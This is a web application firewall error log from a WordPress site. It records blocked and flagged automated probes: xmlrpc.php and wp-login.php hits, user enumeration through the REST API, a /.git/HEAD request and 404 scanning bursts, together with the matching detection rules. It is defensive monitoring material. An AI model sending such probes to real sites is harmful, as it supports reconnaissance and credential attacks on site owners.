[Thu Apr 16 18:31:28.780832 2026] [:error] [pid 49094:tid 49100] [client 43.166.226.57:51044] [client 43.166.226.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeC6gDbDwvcXorHR_Mx78AAAAUQ"]
[Thu Apr 16 19:23:29.474161 2026] [:error] [pid 57639:tid 57647] [client 193.70.33.35:50630] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeDGsaMCQoTw7TsxWulJdgAAAME"]
[Thu Apr 16 19:23:31.475720 2026] [:error] [pid 57639:tid 57663] [client 193.70.33.35:42386] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeDGs6MCQoTw7TsxWulJgAAAANE"]
[Thu Apr 16 19:23:33.519145 2026] [:error] [pid 57536:tid 57552] [client 193.70.33.35:42402] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeDGtSQU4faGja6jpDtLKgAAAAQ"]
[Thu Apr 16 19:23:35.516153 2026] [:error] [pid 57639:tid 57668] [client 193.70.33.35:47798] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeDGt6MCQoTw7TsxWulJjwAAANY"]
[Thu Apr 16 19:23:37.421200 2026] [:error] [pid 7880:tid 7886] [client 193.70.33.35:47800] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeDGuaaezm4fSGc0yUKBTAAAAYE"]
[Thu Apr 16 19:23:39.477260 2026] [:error] [pid 57536:tid 57565] [client 193.70.33.35:47808] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeDGuyQU4faGja6jpDtLMwAAABE"]
[Thu Apr 16 19:23:41.339007 2026] [:error] [pid 7880:tid 7890] [client 193.70.33.35:47820] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeDGvaaezm4fSGc0yUKBUwAAAYU"]
[Thu Apr 16 19:23:43.391760 2026] [:error] [pid 29603:tid 29608] [client 193.70.33.35:47836] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeDGv1fGOR6fpTWUAzp3SAAAAQM"]
[Thu Apr 16 19:23:45.514044 2026] [:error] [pid 57538:tid 57622] [client 193.70.33.35:49262] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeDGwcuMaiEF5SVR2BfGIAAAAJQ"]
[Thu Apr 16 19:53:57.441569 2026] [:error] [pid 49094:tid 49116] [client 136.158.123.179:24763] [client 136.158.123.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.123.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDN1TbDwvcXorHR_MysigAAAVQ"]
[Thu Apr 16 19:57:47.584681 2026] [:error] [pid 49094:tid 49099] [client 136.158.123.179:15527] [client 136.158.123.179] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeDOuzbDwvcXorHR_MyvuAAAAUM"]
[Thu Apr 16 19:58:46.985757 2026] [:error] [pid 57538:tid 57610] [client 136.158.123.179:15396] [client 136.158.123.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.123.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDO9suMaiEF5SVR2BfROAAAAIg"]
[Thu Apr 16 19:59:44.362127 2026] [:error] [pid 57639:tid 57668] [client 136.158.123.179:15607] [client 136.158.123.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.123.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDPMKMCQoTw7TsxWulomAAAANY"]
[Thu Apr 16 20:00:43.538002 2026] [:error] [pid 57536:tid 57567] [client 136.158.123.179:15766] [client 136.158.123.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.123.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDPayQU4faGja6jpDtb3AAAABM"]
[Thu Apr 16 20:01:54.338112 2026] [:error] [pid 57536:tid 57572] [client 136.158.123.179:15605] [client 136.158.123.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.123.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDPsiQU4faGja6jpDtcsgAAABg"]
[Thu Apr 16 20:45:55.326924 2026] [:error] [pid 49094:tid 49098] [client 164.92.140.132:56754] [client 164.92.140.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.140.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeDaAzbDwvcXorHR_MzJGwAAAUI"]
[Thu Apr 16 20:45:57.686967 2026] [:error] [pid 49094:tid 49104] [client 164.92.140.132:59966] [client 164.92.140.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.140.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeDaBTbDwvcXorHR_MzJKQAAAUg"]
[Thu Apr 16 21:32:37.536929 2026] [:error] [pid 57537:tid 57582] [client 45.130.203.136:49623] [client 45.130.203.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aeDk9VVQRS8nm73ENAm74QAAAEc"]
[Thu Apr 16 21:36:23.734857 2026] [:error] [pid 49094:tid 49116] [client 20.205.1.146:18274] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeDl1zbDwvcXorHR_MzrZAAAAVQ"]
[Thu Apr 16 21:36:24.219182 2026] [:error] [pid 57639:tid 57658] [client 20.205.1.146:31530] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeDl2KMCQoTw7TsxWum80QAAAMw"]
[Thu Apr 16 21:36:24.698610 2026] [:error] [pid 57536:tid 57558] [client 20.205.1.146:5228] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeDl2CQU4faGja6jpDuIGAAAAAo"]
[Thu Apr 16 21:36:25.202139 2026] [:error] [pid 57639:tid 57656] [client 20.205.1.146:30612] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeDl2aMCQoTw7TsxWum81AAAAMo"]
[Thu Apr 16 22:04:37.938399 2026] [:error] [pid 7880:tid 7892] [client 103.173.195.191:63066] [client 103.173.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.173.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDsdaaezm4fSGc0yUK7JwAAAYc"]
[Thu Apr 16 22:04:48.612148 2026] [:error] [pid 57536:tid 57570] [client 103.173.195.191:63459] [client 103.173.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.173.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDsgCQU4faGja6jpDuTXAAAABY"]
[Thu Apr 16 22:04:59.528690 2026] [:error] [pid 49094:tid 49096] [client 103.173.195.191:63691] [client 103.173.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.173.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDsizbDwvcXorHR_Mz6YAAAAUA"]
[Thu Apr 16 22:05:10.634522 2026] [:error] [pid 29603:tid 29625] [client 103.173.195.191:63917] [client 103.173.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.173.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDsllfGOR6fpTWUAzqkzAAAARQ"]
[Thu Apr 16 22:05:21.630392 2026] [:error] [pid 57536:tid 57555] [client 103.173.195.191:64154] [client 103.173.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.173.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDsoSQU4faGja6jpDuToQAAAAc"]
[Thu Apr 16 22:05:32.981807 2026] [:error] [pid 57536:tid 57564] [client 103.173.195.191:64391] [client 103.173.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.173.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeDsrCQU4faGja6jpDuTtgAAABA"]
[Thu Apr 16 23:34:03.262014 2026] [:error] [pid 7880:tid 7904] [client 35.232.135.239:54257] [client 35.232.135.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.135.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEBa6aezm4fSGc0yULZYwAAAZM"]
[Thu Apr 16 23:34:06.736932 2026] [:error] [pid 7880:tid 7902] [client 35.232.135.239:54257] [client 35.232.135.239] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeEBbqaezm4fSGc0yULZZgAAAZE"]
[Thu Apr 16 23:34:08.212564 2026] [:error] [pid 7880:tid 7891] [client 35.232.135.239:54257] [client 35.232.135.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.135.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEBcKaezm4fSGc0yULZaQAAAYY"]
[Thu Apr 16 23:34:10.088733 2026] [:error] [pid 49094:tid 49114] [client 35.232.135.239:58752] [client 35.232.135.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.135.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEBcjbDwvcXorHR_Mwu9AAAAVI"]
[Thu Apr 16 23:34:11.949825 2026] [:error] [pid 57538:tid 57602] [client 35.232.135.239:59687] [client 35.232.135.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.135.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEBc8uMaiEF5SVR2BcCkQAAAIA"]
[Thu Apr 16 23:34:13.800936 2026] [:error] [pid 57639:tid 57650] [client 35.232.135.239:60659] [client 35.232.135.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.135.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEBdaMCQoTw7TsxWukXkgAAAMQ"]
[Thu Apr 16 23:34:15.677793 2026] [:error] [pid 29603:tid 29609] [client 35.232.135.239:61604] [client 35.232.135.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.135.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEBd1fGOR6fpTWUAzq8lAAAAQQ"]
[Thu Apr 16 23:34:15.677972 2026] [:error] [pid 29603:tid 29609] [client 35.232.135.239:61604] [client 35.232.135.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.232.135.239, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEBd1fGOR6fpTWUAzq8lAAAAQQ"]
[Thu Apr 16 23:41:12.047875 2026] [:error] [pid 57536:tid 57572] [client 34.30.14.244:58687] [client 34.30.14.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.30.14.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEDGCQU4faGja6jpDu83wAAABg"]
[Thu Apr 16 23:41:15.544845 2026] [:error] [pid 57536:tid 57566] [client 34.30.14.244:58687] [client 34.30.14.244] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeEDGyQU4faGja6jpDu85QAAABI"]
[Thu Apr 16 23:41:17.957416 2026] [:error] [pid 57536:tid 57549] [client 34.30.14.244:58687] [client 34.30.14.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.30.14.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEDHSQU4faGja6jpDu86gAAAAE"]
[Thu Apr 16 23:41:19.889489 2026] [:error] [pid 49094:tid 49101] [client 34.30.14.244:57509] [client 34.30.14.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.30.14.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEDHzbDwvcXorHR_MwyiwAAAUU"]
[Thu Apr 16 23:41:21.864350 2026] [:error] [pid 49094:tid 49110] [client 34.30.14.244:57518] [client 34.30.14.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.30.14.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEDITbDwvcXorHR_MwykQAAAU4"]
[Thu Apr 16 23:41:21.864472 2026] [:error] [pid 49094:tid 49110] [client 34.30.14.244:57518] [client 34.30.14.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.30.14.244, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeEDITbDwvcXorHR_MwykQAAAU4"]
[Fri Apr 17 00:09:15.985349 2026] [:error] [pid 43482:tid 43489] [client 49.51.204.74:39748] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeEJqz9SZnuKxlHrct1nlwAAAMU"]
[Fri Apr 17 00:16:27.175148 2026] [:error] [pid 43386:tid 43423] [client 62.60.131.159:34866] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELW-91GAVgUfhPVDGofQAAAEM"]
[Fri Apr 17 00:16:28.435936 2026] [:error] [pid 43482:tid 43493] [client 62.60.131.159:34900] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELXD9SZnuKxlHrct1vaQAAAMk"]
[Fri Apr 17 00:16:30.360981 2026] [:error] [pid 43386:tid 43430] [client 62.60.131.159:34918] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELXu91GAVgUfhPVDGojgAAAEo"]
[Fri Apr 17 00:16:30.693656 2026] [:error] [pid 43387:tid 43461] [client 62.60.131.159:34902] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELXiBNsONqHxWTakUhoQAAAIo"]
[Fri Apr 17 00:16:32.688842 2026] [:error] [pid 43482:tid 43495] [client 62.60.131.159:34952] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELYD9SZnuKxlHrct1vfgAAAMs"]
[Fri Apr 17 00:16:34.560835 2026] [:error] [pid 43482:tid 43490] [client 62.60.131.159:29566] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELYj9SZnuKxlHrct1vgwAAAMY"]
[Fri Apr 17 00:16:36.612672 2026] [:error] [pid 43385:tid 43411] [client 62.60.131.159:29610] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELZMnIxkJaUI8KNs7sJwAAABU"]
[Fri Apr 17 00:16:36.612672 2026] [:error] [pid 43387:tid 43462] [client 62.60.131.159:29626] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELZCBNsONqHxWTakUhtQAAAIs"]
[Fri Apr 17 00:16:39.872802 2026] [:error] [pid 43482:tid 43486] [client 62.60.131.159:29598] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeELZz9SZnuKxlHrct1vmgAAAMI"]
